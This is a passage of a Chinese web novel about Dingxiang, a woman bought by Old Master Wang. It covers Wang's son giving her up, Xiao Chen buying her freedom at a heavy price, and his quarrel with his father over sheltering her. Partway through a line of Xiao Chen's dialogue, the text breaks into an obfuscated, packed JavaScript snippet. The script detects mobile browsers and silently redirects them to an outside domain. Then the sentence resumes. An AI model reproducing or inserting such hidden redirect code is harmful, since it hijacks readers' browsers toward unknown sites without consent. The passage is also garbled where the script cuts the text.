“至于肖公子……”管家嗤笑一声,“他不过是一时新鲜,真让他为了个‘不清不楚’的女子跟王家翻脸?不可能。您要是把她放出去,指不定哪天就听说,她被肖家拒之门外,或是……真跟了哪个不知名的野小子,到时候,您哭都来不及。” 最后一句话,像重锤敲在王公子心上。 他想起丁香对肖晨的在意,想起她提起“朋友”时眼里的光,一股莫名的恐慌涌了上来。 舍得吗? 舍得她跟别人在一起吗? 答案是,不舍得。 那点刚被压下去的占有欲,被管家的话勾了起来,像藤蔓一样缠上心脏。 “没了王家的富贵,您以为逃出去就安稳了?”管家看穿了他的心思,继续道,“外面的人眼馋王家的银子,更恨老爷的权势,真逮着您和她,还不往死里欺负?到时候,您连自己都护不住,怎么护她?” 王公子慢慢站起身,背对着管家,声音沙哑得像被砂纸磨过:“我知道了。” 管家松了口气,知道他这是听进去了:“少爷想通就好,这才是明智之举。” 王公子没回头,一步步走出空院。阳光落在他身上,却暖不了他半分。 他知道管家说的是“道理”,是这世道最现实的生存法则。 可心里那点关于“自由”“尊严”的火苗,像是被泼了盆冷水,明明灭灭,最终还是弱了下去。 他回到自己院里,让下人备了笔墨,写下四个字:“安分守己”。 贴在书桌前,像一道符咒,也像一道枷锁。 从此,他不再提放丁香,不再闯柴房,每日按时读书、练字,对父亲言听计从,活成了王家少爷该有的样子。 只是没人知道,夜深人静时,他会对着那幅母亲留下的兰草图,一看就是半夜。 图上的兰草生在石缝里,倔强地朝着阳光。 像极了那个叫丁香的女子。 也像极了曾经的自己。 而城郊的别院,丁香望着窗外的月亮,总觉得心里空落落的。 王公子很久没来了。 是放弃了吗? 也好。 她轻轻抚摸着藏在怀里的银哨,冰凉的触感让她清醒。 或许,这样才是最好的结局。 他做他的王家少爷,她做她的笼中鸟。 谁也别再连累谁。 只是那江南的梦,偶尔还是会闯进夜里。 梦里有自由的风,有摇摇晃晃的船,还有……那个愿意带她逃的少年。 醒来时,只有满枕的泪。 日子就这么不咸不淡地过着。王公子果然如他承诺的那般“安分守己”,每日埋首书堆,对府里的事不闻不问,连父亲偶尔提及丁香,他也只是垂眸饮酒,半句不多言。王老爷见他这般,渐渐放下心来,只当他是彻底断了念想。 而丁香被送去的庄子,比想象中更荒凉。四面是高高的土墙,墙外是望不到头的农田,只有两个老妈子轮流看守,连只飞鸟都难得落下。她每日坐在窗边,看着日头从东边升起,又从西边落下,手里的针线绣了拆、拆了绣,最终也只是绣出一片模糊的兰草。 王公子偶尔会托管家给庄子送些东西——几匹素布,一盒颜料,甚至还有一本新出的诗集。东西送到丁香手里,她从不问是谁给的,只是默默收下,叠好、放妥,像收藏着一点微弱的光。 这天,管家又来送东西,是一小罐桂花糕,还是当初王公子常买的那家老字号。 “少爷说,姑娘或许爱吃。”管家站在院门口,隔着老远递过罐子,语气客气却疏离。 丁香接过罐子,指尖触到微凉的瓷面,轻声道:“替我谢他。” 管家没应声,转身就走。他看得明白,这两人之间,像是隔了层看不见的纱,明明在意,却又不肯靠近。 罐子放在桌上,桂花的甜香漫出来,勾得人心里发慌。丁香捏着盖子,犹豫了许久,终究还是没打开。 她怕一尝这甜味,就会想起那个在偏院陪她说话的少年,想起那辆疾驰在夜色里的马车,想起那些关于江南的、不切实际的梦。 而王府里,王公子正对着棋盘发愣。父亲坐在对面,落下一子:“在想什么?心不在焉的。” “没什么。”王公子收回目光,随意落下一子,“只是觉得这棋路,有些眼熟。” “哦?”王老爷挑眉,“这是我新学的路数,你自然没见过。”他看着儿子,忽然道,“过几日是你母亲的忌日,去庄子上看看吧,那边有块地,是你母亲生前喜欢的。” 王公子的手顿了顿,抬眼看向父亲,眼里闪过一丝诧异。 王老爷避开他的目光,端起茶杯:“顺便……看看那女人,要是安分,就让她回来吧,总在庄子上也不是事。” 王公子的心跳漏了一拍,面上却依旧平静:“好。” 他知道,父亲这是松口了。或许是看他安分了太久,或许是……终究念及一点旧情。 几日后,王公子带着祭品去了庄子。祭拜完母亲,他站在坟前,沉默了许久。 “娘,我好像……变成了你最不喜欢的样子。”他低声说,声音里带着自嘲,“可我没别的办法。” 风吹过麦田,发出沙沙的声响,像是母亲的叹息。 离开坟地,他往丁香住的小院走去。远远就看见她坐在廊下,手里拿着针线,阳光落在她发间,安静得像幅画。 听到脚步声,丁香抬起头,看到是他,眼里闪过一丝惊讶,随即恢复了平静,站起身福了福身:“公子。” “嗯。”王公子走到她面前,看着她手里的绣品——一片模糊的兰草,“在绣花?” “闲着无事,随便绣绣。”她低下头,把绣品往身后藏了藏。 两人站在廊下,一时无话。风吹过,带着麦田的气息,竟比在王府时多了几分自在。 “父亲让我带你回去。”王公子忽然说。 丁香猛地抬头,眼里满是震惊:“回去?回王府?” “嗯。”王公子点头,“回偏院,还是以前的地方。” 丁香的嘴唇动了动,想说什么,最终却只是摇了摇头:“我不回去。” 王公子愣住了:“为什么?” “回去做什么?”丁香笑了笑,眼里带着几分疲惫,“继续被当作物件,被你们父子讨论‘谁先谁后’?公子,我累了。” 她抬起头,直视着他的眼睛,语气平静却坚定:“在这里,虽然偏,却清净。至少,没人会逼我弹琴,没人会算计我,我只想守着这一方小院,安安静静地过。” 王公子看着她眼底的疲惫,心里像被什么东西揪了一下。 他以为带她回去是救赎,却忘了,王府于她而言,从来都是牢笼。 “好。”他点了点头,声音有些沙哑,“你想留在这里,就留下吧。我会跟父亲说,让他们别来打扰你。” 丁香看着他,忽然笑了,眼里带着点释然:“谢谢。” 这声“谢谢”,比以往任何一次都真诚。 王公子没再多说,转身离开了小院。 走出庄子时,他回头望了一眼,那座小院在麦田里,像个孤独的标点。 或许,这才是最好的结局。 他守着王家的枷锁,她守着庄子的清净。 不必再纠缠,不必再挣扎。 只是偶尔,王公子会想起那个月色皎洁的夜晚,马车在土路上疾驰,她眼里的光比星星还亮。 他终究没能带她去江南。 而庄子里,丁香把那罐桂花糕打开,尝了一口,甜得发腻,却让她想起了偏院的阳光,想起了少年微红的脸颊。 她慢慢嚼着,眼泪掉了下来,砸在绣品上,晕开一小片水渍。 兰草的轮廓,忽然变得清晰起来。 像极了她自己。 生在泥沼,却总想朝着阳光。 哪怕,只是在这荒凉的庄子里,独自芬芳。 40. 她比任何人都干净 肖晨回到肖府时,脚步虚浮,脸色比出门时沉了许多。李傲雪正在廊下绣帕子,见他进来,连忙起身迎上去,接过他手里的书袋:“少爷回来了?今日的读书会有趣吗?听说有不少孤本呢。” 肖晨没看她,只是摇了摇头,声音里带着挥不去的疲惫:“没什么意思。”他顿了顿,像是终于憋不住,哑声说,“我在王家,遇见丁香了。” 李傲雪绣帕的手顿了顿,眼里闪过一丝讶异,随即平静下来:“她……怎么会在王家?” “被王老爷买去了。”肖晨的声音发颤,像是想起什么屈辱的画面,拳头又攥紧了,“那老东西把她当物件,还说些不堪入耳的话,我想救她,可我……”他话没说完,就重重叹了口气,满眼的无力,“我什么都做不了。” 他第一次如此痛恨自己的“无能为力”。读了那么多书,懂了那么多道理,却连一个想护的人都护不住。王老爷的权势像座大山,压得他喘不过气。 李傲雪看着他痛苦的样子,轻轻放下绣帕,走到他身边:“少爷别太自责,王老爷在城里势力盘根错节,硬碰硬确实讨不到好。”她顿了顿,语气里带着几分沉稳,“可若是真心想帮,或许……可以想想别的办法。” 肖晨抬头看她:“别的办法?什么办法?” “王老爷最看重什么?是脸面,是银子,是王家的名声。”李傲雪缓缓道,“他既然敢明目张胆买人,就一定有把柄。咱们可以悄悄查查,看他有没有什么见不得光的事,抓住了把柄,或许就能跟他谈条件。” 肖晨愣住了,他从未想过这些。在他眼里,解决问题要么靠道理,要么靠蛮力,却忘了这世道最管用的,往往是阴私的算计。 “可……这会不会太冒险了?”他有些犹豫,“要是被他发现……” “冒险总比眼睁睁看着她受苦强。”李傲雪看着他,眼神清亮,“少爷要是信我,这事就交给我来查。我娘家有些门路,或许能探出些消息。” 肖晨看着她坚定的样子,心里忽然涌上一股暖流。他一直以为李傲雪只是个温顺的少夫人,却没想到她有这样的胆识和主见。 “会不会连累你?”他担心地问。 李傲雪笑了笑:“夫妻本是一体,说什么连累?再说了,我也看不惯王老爷那副嘴脸。”她拿起绣帕,轻轻拍了拍他的手背,“放心吧,我会小心的。你先稳住,别再去找王老爷,免得打草惊蛇。” 肖晨重重地点了点头,眼里重新燃起一点微弱的光:“好,我信你。” 或许,事情还没到绝望的地步。 或许,他真的能为丁香做些什么。 夜里,肖晨坐在灯下,看着窗外的月亮,忽然想起丁香在花船上弹的那首曲子。那时的琴声里有向往,有灵动,不像今日在王家,满是化不开的哀婉。 他拿起笔,在纸上写下“丁香”二字,笔尖顿了顿,又添了一句:“等我。” 虽然前路未知,虽然希望渺茫,可他不想再做那个只会愤怒离去的懦夫。 至少,要为她拼一次。 就像李傲雪说的,总有办法的。 总有一条路,能通向光明。 管家踮着脚走进书房时,王老爷正对着一盏油灯出神。听见脚步声,他眼皮都没抬:“什么事?” “老爷,”管家压低声音,脸上带着几分急色,“咱们安插在肖府附近的人来报,肖晨最近在查咱们,还托了些江湖门路,像是在找……找咱们的把柄。” 王老爷捏着灯芯的手顿了顿,随即嗤笑一声:“他倒是有几分胆子。” “这可不能大意啊,”管家凑近一步,“肖家在城里根基深,真被他们抓住什么把柄,传出去对咱们生意不利,万一被官府拿去做文章……” “慌什么。”王老爷打断他,眼里闪过一丝阴狠,“他想查,就让他查。王家这些年走的路,哪能一点痕迹不留?但他肖晨想拿这些来要挟我,还嫩了点。” 他沉吟片刻,忽然拍了下桌子:“你去,把肖晨请来。就说我有要事相商,关于……丁香的。” 管家一愣:“老爷这是……” “他不是对那女人不死心吗?”王老爷嘴角勾起一抹算计的笑,“我就给他个机会。他肖晨是聪明人,分得清孰轻孰重——一个女人而已,难道还能比肖家的前程、他自己的名声更重要?” 管家立刻明白了:“老爷是想……” “给他指条明路。”王老爷站起身,背着手走到窗边,“告诉他,安分守己,大家相安无事;要是非要揪着那点事不放,那就别怪我不顾情面,让他肖家跟着一起难堪。” 他料定了肖晨不敢赌。肖家世代书香,最重名声,哪能为了一个“来历不明”的女子,跟王家撕破脸,甚至赔上整个家族的利益? “去备帖。”王老爷挥挥手,语气笃定,“就说我在醉仙楼设了宴,单独请他。” 管家应声退下,心里却隐隐有些不安。肖晨那日在王府的决绝,不像是会轻易妥协的样子。 可王老爷的算计,向来没出过错。 两日后,醉仙楼的雅间里,王老爷端着酒杯,看着对面端坐的肖晨,笑得像只老狐狸:“肖公子肯赏脸,王某荣幸。” 肖晨没碰酒杯,开门见山:“王老爷找我,不是为了喝酒吧?” “爽快。”王老爷放下酒杯,“我听说,肖公子最近在查我?” 肖晨脸色微变,随即坦然道:“我只是想知道,丁香姑娘到底犯了什么错,要被您如此对待。” “她没犯错,”王老爷慢条斯理地倒酒,“她是我买来的,我想怎么待她,是我的事。倒是肖公子,为了个女人,动这么多手脚,不怕引火烧身?” 他将一杯酒推到肖晨面前:“你肖家主营茶叶生意,南来北往的商路,多少要过我王家的码头。你说,要是我让人在码头上‘多关照’几句,你今年的茶叶,还能不能按时运到京城?” 肖晨的手指猛地攥紧,脸色沉了下去:“你这是威胁我?” “是提醒。”王老爷笑得人畜无害,“我知道你心善,见不得女子受苦。但你要想清楚,为了一个不相干的女人,毁了肖家几代人的基业,值得吗?” 他身子前倾,语气带着诱惑:“只要你停手,不再查我,也别再惦记丁香,我可以保证,让她在庄子上安安稳稳过一辈子,衣食无忧,没人敢欺负她。这对你、对肖家、对她,都是最好的结局。” “你让我眼睁睁看着她被你困一辈子?”肖晨的声音发颤。 “不然呢?”王老爷挑眉,“你以为你真能救她出去?救出去又能怎样?给她个名分?肖家老太太能容下一个‘曾在花船、又被王家买走’的女子?你别天真了。” 雅间里陷入沉默,只有窗外的风声呜呜作响。 肖晨看着杯里晃动的酒液,王老爷的话像冰锥,戳破了他所有的侥幸。 他确实没想过,真把丁香救出来,该如何安置她。肖家的规矩、外人的眼光、家族的利益……哪一样都不是他能轻易撼动的。 他想救她,可他真的能为了她,赔上整个肖家吗? 王老爷看着他变幻的脸色,知道自己说中了要害,端起酒杯一饮而尽:“肖公子是聪明人,不用我多说。是选一个女人,还是选家族前程,你自己掂量。” 肖晨猛地站起身,胸口起伏,眼里满是挣扎。 最终,他什么也没说,转身冲出了雅间。 王老爷看着他的背影,得意地笑了。 他就知道,肖晨不敢赌。 没有哪个世家公子,会为了一个无关紧要的女人,毁了自己的前程。 管家走进来,见王老爷一脸轻松,连忙问:“老爷,他这是……” “放心吧,”王老爷摆摆手,“他会停手的。” 毕竟,在利益面前,所谓的“情意”,从来都不堪一击。 而雅间外,肖晨站在楼梯口,攥紧的拳头青筋暴起。 王老爷的话,像一条毒蛇,缠得他喘不过气。 救,意味着可能毁掉肖家。 不救,意味着要看着丁香永远困在牢笼里。 他第一次如此痛恨自己的“理智”。 原来,有些选择,从一开始就注定两难。 肖晨回到府里时,脚步发沉,像是灌了铅。李傲雪正在廊下等他,见他脸色铁青,连忙迎上去:“公子,怎么了?王老爷找你说什么了?” 他一把抓住她的手,声音发颤:“他威胁我,说要是我再查下去,就动肖家的商路……还说,丁香的事,让我掂量掂量,是选她,还是选家族。” 李傲雪的手顿了顿,随即安抚道:“公子别慌,他就是想用利益逼你退缩。” “可他说得对,”肖晨松开手,后退一步,眼里满是无力,“我真的能为了丁香,赌上整个肖家吗?我爹娘、族里的人……他们怎么办?” 李傲雪看着他痛苦的样子,轻轻叹了口气:“公子心善,这不是你的错。只是……真的要放弃吗?” 肖晨低下头,说不出话。 这时,旁边侍立的玉溪忽然上前一步,福了福身:“公子,奴婢斗胆说一句。” 肖晨抬眼:“你说。” “公子心真好,”玉溪眼里带着感激,“若不是公子出手,我现在还在花楼里浮沉,哪能有今日安稳日子。”她顿了顿,话锋一转,“但公子想救丁香姑娘,也不是没办法。王老爷说得没错,商人最重利益,既然他拿肖家的利益要挟您,您不如……反过来跟他谈利益。” 肖晨一愣:“谈利益?” “是,”玉溪点头,语气有条有理,“王老爷做的是丝绸生意,最近听说南边的货被卡了,一直找不到靠谱的船运;而肖家在江南有自己的船队,正好能帮上他。您可以跟他谈——用船队帮他运货,换他放了丁香姑娘,再立个字据,从此两清,谁也不欠谁。” 李傲雪眼睛一亮:“这主意好!王老爷最看重的就是生意,南边的货他盯了很久,要是能借肖家的船队打通关节,对他来说是天大的好处,说不定真能答应。” 肖晨也怔住了。他只想着对抗,却没想过“交易”。商人重利,若用足够的利益交换,或许比硬拼更有用。 “可……他会信我吗?”肖晨犹豫,“万一他拿到好处,又反悔怎么办?” “可以请官府的人做见证,立下文书,”玉溪补充道,“写明是‘以船运换自由’,他王家再横,也不敢公然违抗官府的文书。再说,江南的船队是肖家的根基,他要是反悔,您大可以断了他的货路,他得不偿失。” 肖晨看着玉溪,又看了看李傲雪,心里那点熄灭的火苗,忽然又燃了起来。 是啊,他怎么没想到?王老爷用利益要挟他,他也能用利益牵制王老爷。 丝绸生意是王家的命脉,南边的货要是卡住,损失的可不是小数目。而肖家的船队,恰恰是他此刻最大的筹码。 “对,交易!”肖晨猛地站起身,眼里重新有了光,“用船队换她自由,这买卖他未必不做。” 李傲雪笑着点头:“这才是明智之举。既不用撕破脸,又能达成目的,肖家的利益也不会受损。” 肖晨深吸一口气,紧紧攥住拳头:“我这就去准备,明天就去找王老爷谈!” 看着他匆匆离去的背影,玉溪轻轻松了口气,对李傲雪福了福身:“希望能成。” 李傲雪看着她,眼里带着赞许:“你倒是比我们想得透彻。” 玉溪低下头,轻声道:“只是不想看到有人重蹈我的覆辙罢了。” 廊下的风依旧凉,却吹不散肖府里重新燃起的希望。 肖晨坐在灯下,连夜写好了交易的条款,每一条都清清楚楚——肖家船队负责王家南边三个月的丝绸运输,确保平安抵达;王老爷需在收到第一批货后,当场释放丁香,不得再有任何纠缠,并立下永不追究的文书。 他看着纸上的字,心里既紧张又期待。 这或许是唯一能救丁香的办法。 用利益交换自由,听起来现实,却可能是这世道里,最管用的方式。 第二天一早,肖晨拿着条款,再次前往王家。这一次,他的脚步沉稳,眼神坚定。 无论王老爷答应与否,他都要试这最后一次。 为了丁香,也为了自己心里那点未曾熄灭的道义。 王老爷正在花园里逗鸟,见管家引着肖晨进来,眼皮都没抬,慢悠悠道:“肖公子这是想通了?不再查我了?” 肖晨没绕弯子,直接掏出写好的条款:“王老爷,我不是来查您的,是来谈笔交易。我用肖家船队帮您运三个月南边的丝绸,确保万无一失,您放了丁香,立文书永不纠缠。” 王老爷接过条款,扫了两眼就扔在石桌上,嗤笑一声:“就这?肖公子把我当要饭的了?” “这对您是稳赚不赔的买卖,”肖晨沉声道,“南边的货您卡了多久,心里清楚。肖家船队的路子,您也信得过。” “信得过又怎样?”王老爷放下鸟笼,走到他面前,眼神里满是算计,“一个女人换三个月船运?太便宜你了。想让我放她也行,得加钱。” 肖晨皱眉:“加多少?” “一万两。”王老爷伸出一根手指,语气斩钉截铁,“现银,一手交钱,一手交人。” 肖晨的脸色沉了沉。一万两不是小数目,虽不至于让肖家伤筋动骨,却也是笔不小的开销。 没等他开口,王老爷又添了一句:“另外,听说肖公子画技了得,尤其擅长画仕女图?我书房缺几幅像样的画,你得留下来,为我做事三年——不用你干什么粗活,就替我画画、抄抄账本,也算物尽其用。” 这话像故意刁难。让一个世家公子为他做事三年,还要画仕女图,明摆着是想折辱肖晨的脸面。 肖晨攥紧了拳头,指节泛白:“王老爷这是故意为难我。” “为难?”王老爷挑眉,“我放一个‘心头好’给你,收点补偿怎么算为难?再说了,肖公子不是心疼她吗?一万两,三年时间,换她自由,这笔账划得来。” 他凑近一步,压低声音:“你要是不答应,也简单。我现在就把她送到最下等的窑子里,让你这辈子都见不着她好脸色。到时候,你就算有再多船队、再多银子,也换不回她的清白。” 肖晨的胸口剧烈起伏,眼里满是愤怒和挣扎。 一万两,他可以想办法凑。可三年……为他做事三年,还要忍受旁人的指点和嘲笑,这对看重名声的肖家来说,是奇耻大辱。 可他看着王老爷那副有恃无恐的嘴脸,知道对方说得出做得到。一旦拒绝,丁香的下场不堪设想。 “我需要时间考虑。”肖晨的声音沙哑。 “给你三天,”王老爷笑得得意,“三天后,要么带银子来签字画押,要么……就等着听她的消息吧。” 肖晨没再说话,转身离开了王家。阳光刺眼,他却觉得浑身冰凉。 回到府里,李傲雪见他脸色不对,连忙问明缘由。听完后,她沉默了许久,才轻声道:“一万两我可以想办法凑,只是这三年……” “我答应。”肖晨忽然说,语气异常坚定,“三年就三年,画画就画画。只要能换她自由,这点屈辱算什么?” 他看着李傲雪,眼里带着歉疚:“只是要委屈你了,肖家可能会被人指指点点。” 李傲雪摇摇头,握住他的手:“你做得对。名声再重要,也比不上一条人命,一份自由。再说,三年很快就过去了,等她走了,咱们就去江南住些日子,眼不见为净。” 肖晨看着她理解的眼神,心里涌上一股暖流。 或许,这就是最好的选择。 用三年的隐忍,换一个女子的新生。 值得。 三天后,肖晨带着一万两银票,再次来到王家。 王老爷看着银票,又看了看肖晨平静的脸,眼里闪过一丝诧异,随即化为得意:“肖公子果然识时务。” 他让人拿来笔墨,肖晨拿起笔,在“为王家做事三年”的文书上,落下了自己的名字。 笔尖划过纸页的声音,轻得像一声叹息。 从今天起,他不再是那个自在的世家公子,而是王家的“幕僚”。 但他不后悔。 因为他知道,用不了多久,丁香就能重获自由。 这就够了。 王老爷让人去庄子把丁香接来时,她还穿着那件素色的旧衣,头发简单挽着,手里攥着那支磨得发亮的银哨。进了王府正厅,看到肖晨站在那里,她先是一愣,随即明白了什么,脸色瞬间白了。 “丁香,”王老爷靠在太师椅上,把玩着手里的玉扳指,语气带着施舍般的随意,“今天你就自由了,肖公子替你赎身了。” 丁香的目光猛地投向肖晨,眼里满是震惊和慌乱:“肖公子,你……” “你别听他的。”肖晨走上前,避开王老爷的视线,看着她,声音放得轻柔,“我只是想让你自由。” “自由?”丁香的声音发颤,目光扫过他手里的文书,又看向王老爷那副得意的嘴脸,瞬间明白了其中的代价,“你是不是答应了他什么?你不能为了我这样!” 她往后退了一步,摇着头,眼里涌满了泪:“我不要这样的自由,公子,你快把文书撕了,我回庄子去,我哪里也不去!” 她知道,王老爷那样的人,绝不会平白无故放人,肖晨一定付出了极大的代价。她不想欠他这么多,更不想他为了自己,落入王老爷的算计。 “别傻了。”肖晨看着她泛红的眼眶,心里一紧,却强装平静,“我没答应什么过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993201|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分的事,只是……帮他做点力所能及的活计。你不用放在心上,跟我走吧。” 他伸出手,想拉她:“我先带你回肖府住,那里安全,等你想清楚去哪里,我再送你去。” “我不!”丁香甩开他的手,眼泪掉了下来,“你这样做,和把我从一个牢笼扔进另一个牢笼有什么区别?我欠你的,这辈子都还不清了!” 她宁愿回庄子,守着那片麦田孤独终老,也不愿让肖晨为自己背负什么。 王老爷在一旁看够了戏,嗤笑一声:“肖公子,你看,人家不领你的情呢。” 肖晨没理他,只是固执地看着丁香,语气带着不容置疑的坚定:“我不要你还。我做这些,不是为了让你欠我,只是想看到你能堂堂正正地走在太阳底下,不用再看人脸色,不用再怕谁欺负你。” 他想起初见时,她在花船上弹琴,眼里有光;想起在读书会,她被迫弹奏,眼底只剩死寂。他只想让那点光,重新回到她眼里。 “跟我走,”他再次伸出手,声音里带着恳求,“就当……给我一个安心的机会,好不好?” 丁香看着他眼里的执拗,看着他指尖因用力而泛白的关节,心里像被什么东西狠狠撞了一下。眼泪掉得更凶了,却再也说不出拒绝的话。 她知道,他是真心想救她。 王老爷不耐烦地挥挥手:“行了行了,要走赶紧走,别在我这儿碍眼。” 肖晨不再犹豫,轻轻握住丁香的手腕,她的手很凉,像冰一样。他拉着她,一步步走出王府大门。 门外的阳光很亮,刺得丁香眯起了眼。她回头望了一眼那座高高的门楼,像望着一场漫长的噩梦。 “别怕,”肖晨感觉到她的颤抖,放缓了脚步,“以后再也没人能困住你了。” 丁香低下头,看着两人交握的手,眼泪无声地滑落,滴在青石板上,晕开一小片湿痕。 自由来得太突然,带着沉甸甸的暖意,也带着无法言说的愧疚。 她不知道前路会怎样,不知道肖晨到底付出了什么代价,可此刻,被他拉着走在阳光下,掌心传来的温度,却让她莫名地安心。 或许,真的可以相信一次。 相信这世间,真的有人,会为了一个陌生人的自由,甘愿付出。 她轻轻吸了口气,抬起头,跟着他往前走去。 阳光落在两人身上,拉出两道长长的影子,像一条通往新生的路。 肖晨带着丁香刚走进肖府大门,就见肖父背着手站在影壁前,脸色铁青得像块铁。下人们低着头缩在一旁,连大气都不敢喘。 “你还知道回来!”肖父劈头就骂,声音震得廊下的灯笼都晃了晃,“我问你,你把那个女人带回来做什么?!” 他的目光像刀子一样刮过丁香,带着毫不掩饰的嫌恶:“我们肖家世代清白,你把这种不清不楚的女人领进门,是想让全城的人笑掉大牙吗?你把我们家当什么了?藏污纳垢的地方?” 丁香的脸瞬间白了,下意识地往肖晨身后躲了躲,指尖攥得发白。 “爹!”肖晨往前一步,将丁香护在身后,语气带着从未有过的强硬,“她不是什么‘脏女人’,她叫丁香。她是被人胁迫,身世可怜,我救她回来,问心无愧!” “问心无愧?”肖父气得发抖,指着丁香,“一个在花船待过、又被王家买走的女人,你说她干净?肖晨,你是不是被鬼迷心窍了!” “她干净!”肖晨提高了声音,眼里满是坚定,“她比这世上很多道貌岸然的人都干净!她没害过人,没做过亏心事,只是想活下去而已!爹,您不能凭她的过去就否定她的全部!” “我是你爹!这个家还轮不到你做主!”肖父怒吼,“今天你必须把她赶走,否则就别认我这个爹!” “我不会赶她走。”肖晨梗着脖子,寸步不让,“她刚重获自由,无依无靠,我要是把她赶走,跟王老爷有什么区别?爹常教我‘仁善为本’,难道只是说说而已?” “你——”肖父被他噎得说不出话,指着他的手都在抖,“你为了一个外人,敢这么跟我说话?你忘了肖家的名声了吗?忘了你答应过要好好打理家业吗?” “名声是靠行得正坐得端挣来的,不是靠踩低别人得来的。”肖晨的声音沉了下来,“我答应打理家业,但也不会做违背良心的事。丁香暂时住在这里,等她找到落脚的地方就走,在此之前,我绝不会让她再受委屈。” 他说完,不再看肖父铁青的脸,侧身对丁香轻声道:“别怕,跟我来。” 拉着丁香往内院走时,他能感觉到背后肖父愤怒的目光,也能感觉到身旁丁香微微的颤抖。走到月亮门边,他停下脚步,回头对肖父说:“爹,您会明白的,她值得。” 肖父看着儿子护着那个女人的背影,气得一甩袖子,转身进了书房,重重摔上了门。 下人们面面相觑,谁也不敢出声。 内院的小跨院里,李傲雪早已收拾好了房间。见肖晨带着丁香进来,她连忙迎上去,笑着对丁香说:“姑娘一路辛苦了,先歇歇脚,我让厨房备了些热汤。” 丁香看着她温和的笑,又看了看肖晨眼里的安抚,紧绷的神经终于松了些,对着李傲雪福了福身:“多谢少夫人。” 肖晨看着她苍白的脸,轻声道:“你先在这儿住下,有我在,没人能欺负你。” 丁香抬起头,眼里含着泪,却用力点了点头。 她知道,前路或许还有风雨,肖父的态度、外人的眼光,都是难题。 可此刻,这间小小的跨院,这两个人的善意,却让她觉得,这来之不易的自由,终究是暖的。 肖晨安顿好丁香,见她拘谨地坐在床边,手指无意识地绞着衣角,便走上前轻声道:“这屋子还缺些什么?笔墨纸砚?或是你惯用的香料?告诉我,我让人去置办。” 丁香摇摇头,声音轻得像羽毛:“公子不用为我费心,我住一天就走。”她抬眼看向肖晨,眼里满是恳切,“我知道你为了救我,已经和王老爷做了交易,如今又惹得肖老爷动怒,我……我不能再让你们父子因为我产生矛盾。” 她心里清楚,肖父的态度有多强硬,自己留在肖府,只会让肖晨为难。与其这样,不如早点离开,哪怕出去找个小地方落脚,也好过成为别人的负担。 肖晨却皱起眉:“谁说你要走了?”他在她对面坐下,语气认真,“这不是你的错,是我自己的决定。我爹那边,你不用担心,他只是一时转不过弯,我会去劝他的。” 他顿了顿,放缓了声音:“你刚重获自由,身无分文,又没地方可去,现在出去怎么生活?听话,先在这儿住下,等过些日子,你想清楚要去哪里,或是想做些什么,我再帮你安排。” 丁香咬着唇,眼圈泛红:“可肖老爷他……” “他是我爹,不会真把我怎么样的。”肖晨笑了笑,试图让她安心,“以前我闯祸,他气过之后也就算了。这次也一样,给他点时间,他会明白的。” 其实他心里也没底,父亲的脾气有多固执,他比谁都清楚。可他不能让丁香刚脱离牢笼,就再陷入无依无靠的境地。 “你就当是帮我个忙,”肖晨看着她的眼睛,语气诚恳,“留下来,让我知道你是平安的,不然我这心里总放不下。” 丁香看着他眼里的坚持,看着他为了让自己安心而故作轻松的样子,到了嘴边的拒绝,怎么也说不出口。 是啊,她现在出去,又能去哪里呢?庄子回不去了,外面的世界陌生又危险,她一个弱女子,连养活自己都难。 见她沉默,肖晨知道她听进去了,便起身道:“你先歇着,我去看看厨房的汤好了没。” 他走出门,李傲雪正站在廊下等他,见他出来,低声道:“爹还在书房气着呢,晚饭都没出来吃。” 肖晨叹了口气:“我知道,等会儿我去看看他。” “丁香姑娘那边……” “她想走,觉得是自己的错。”肖晨语气无奈,“我让她先留下了。” 李傲雪点点头:“也好,她一个人出去确实危险。慢慢来,总会好的。” 肖晨看向那扇紧闭的房门,心里默默道:会好的。 无论是父亲那边,还是丁香的将来,总会找到解决的办法。 而房间里,丁香走到窗边,看着院里的石榴树。阳光透过叶隙洒下来,落在她手背上,暖融融的。 她轻轻摸了摸怀里的银哨,那是王公子送的,如今却要在肖府安身。命运兜兜转转,竟让她欠下了两笔还不清的情分。 但她知道,此刻能做的,只有先留下。 不为自己,也为了不辜负肖晨的一片苦心。 至于将来……走一步看一步吧。 至少,她现在是自由的。 这就够了。 41. 流言蜚语,王老爷的算计 肖晨推开书房门时,肖父正背对着他站在窗前,手里攥着一卷书,指节都捏白了。听见脚步声,他猛地转过身,眼里的怒火几乎要喷出来:“你还知道来见我?说,什么时候把那个女人赶出去?” “爹,”肖晨走到他面前,垂下眼,语气却异常坚定,“只要您肯留下她,以后您说什么我都答应。家里的生意我会用心学,您让我娶谁我就娶谁,绝不反驳。” 肖父愣住了,似乎没料到他会做出这样的让步,随即气得发抖:“你为了她,连自己的终身大事都能赌上?肖晨,你是不是疯了!” “她不能走。”肖晨抬起头,直视着父亲的眼睛,声音里带着恳求,“她是个善良的女子,在王府受了那么多苦,性子却依旧干净。您要是把她赶出去,她身无分文,又被王老爷记恨,外面全是虎狼,出去就是死路一条啊!” “死路一条也是她的命!”肖父怒吼,“我们肖家凭什么要为一个不相干的女人担风险?你让外人知道了,会怎么戳我们脊梁骨?” “脊梁骨不是靠踩低别人撑起来的。”肖晨的声音发颤,却没退让,“您总教我要行仁道、存善念,怎么到了她这里,就全忘了?她没做错任何事,只是命苦,难道我们眼睁睁看着她送死吗?” 他上前一步,深深鞠了一躬:“爹,算我求您了。让她在府里多住些日子,等风头过了,我再给她找个安稳的去处,绝不连累肖家名声。这期间,我一定好好学做生意,绝不再让您生气。” 肖父看着儿子泛红的眼眶,看着他挺直的脊梁,心里的怒火忽然泄了大半。他知道儿子的性子,看着温和,实则执拗,认定的事八头牛都拉不回来。 他重重地叹了口气,背过身去,声音里带着疲惫:“你想留,就留下吧。但有一条——让她待在那个跨院里,不许踏出半步,更不许让她见外人,免得污了肖家的眼。” 肖晨心里一松,连忙应道:“谢谢爹!我会看好她的!” 